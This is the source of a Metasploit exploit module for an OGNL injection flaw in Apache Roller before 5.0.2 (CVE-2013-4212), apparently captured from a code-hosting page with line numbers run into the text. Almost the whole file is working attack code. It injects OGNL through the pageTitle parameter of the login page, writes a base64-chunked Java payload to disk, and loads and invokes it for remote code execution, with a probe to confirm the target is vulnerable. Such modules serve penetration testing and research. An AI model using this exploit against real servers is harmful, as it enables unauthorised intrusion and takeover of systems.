Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apache_roller_ognl_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => 'Apache Roller OGNL Injection',14'Description' => %q{15This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The16vulnerability is due to an OGNL injection on the UIAction controller because of an17insecure usage of the ActionSupport.getText method. This module has been tested18successfully on Apache Roller 5.0.1 on Ubuntu 10.04.19},20'Author' =>21[22'Unknown', # From coverity.com / Vulnerability discovery23'juan vazquez' # Metasploit module24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2013-4212'],29[ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']30],31'Platform' => 'java',32'Arch' => ARCH_JAVA,33'Privileged' => true,34'Targets' =>35[36[ 'Apache Roller 5.0.1', { } ]37],38'DisclosureDate' => '2013-10-31',39'DefaultTarget' => 0))4041register_options(42[43Opt::RPORT(8080),44OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])45])46end4748def execute_command(cmd)49injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"50injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))5152vprint_status("Attempting to execute: #{cmd}")5354res = send_request_cgi({55'method' => 'GET',56'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),57'encode_params' => false,58'vars_get' =>59{60'pageTitle' => injection61}62})63end6465def java_upload_part(part, filename, append = 'false')66cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"67cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"68cmd << "#f.close(),#a='#{@random_suffix}'"69execute_command(cmd)70end7172def exploit7374print_status("Checking injection...")7576if check == Exploit::CheckCode::Vulnerable77print_good("Target looks vulnerable, exploiting...")78else79print_warning("Target not found as vulnerable, trying anyway...")80end8182@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution83@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"84append = 'false'85jar = payload.encoded_jar.pack8687chunk_length = 384 # 512 bytes when base64 encoded8889parts = jar.chars.each_slice(chunk_length).map(&:join)90parts.each do |part|91java_upload_part(part, @payload_exe, append)92append = 'true'93end9495register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")9697cmd = ""98# disable Vararg handling (since it is buggy in OGNL used by Struts 2.199cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"100cmd << "#q.setAccessible(true),#q.set(null,true),"101cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"102cmd << "#q.setAccessible(true),#q.set(null,false),"103# create classloader104cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"105# load class106cmd << "#c=#cl.loadClass('metasploit.Payload'),"107# invoke main method108cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("109cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"110execute_command(cmd)111end112113def check114addend_one = rand_text_numeric(rand(3) + 1).to_i115addend_two = rand_text_numeric(rand(3) + 1).to_i116sum = addend_one + addend_two117118res = send_request_cgi({119'method' => 'GET',120'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),121'vars_get' =>122{123'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",124}125})126127if res and res.code == 200 and res.body =~ /#{sum}/128return Exploit::CheckCode::Vulnerable129end130131return Exploit::CheckCode::Safe132end133end134135136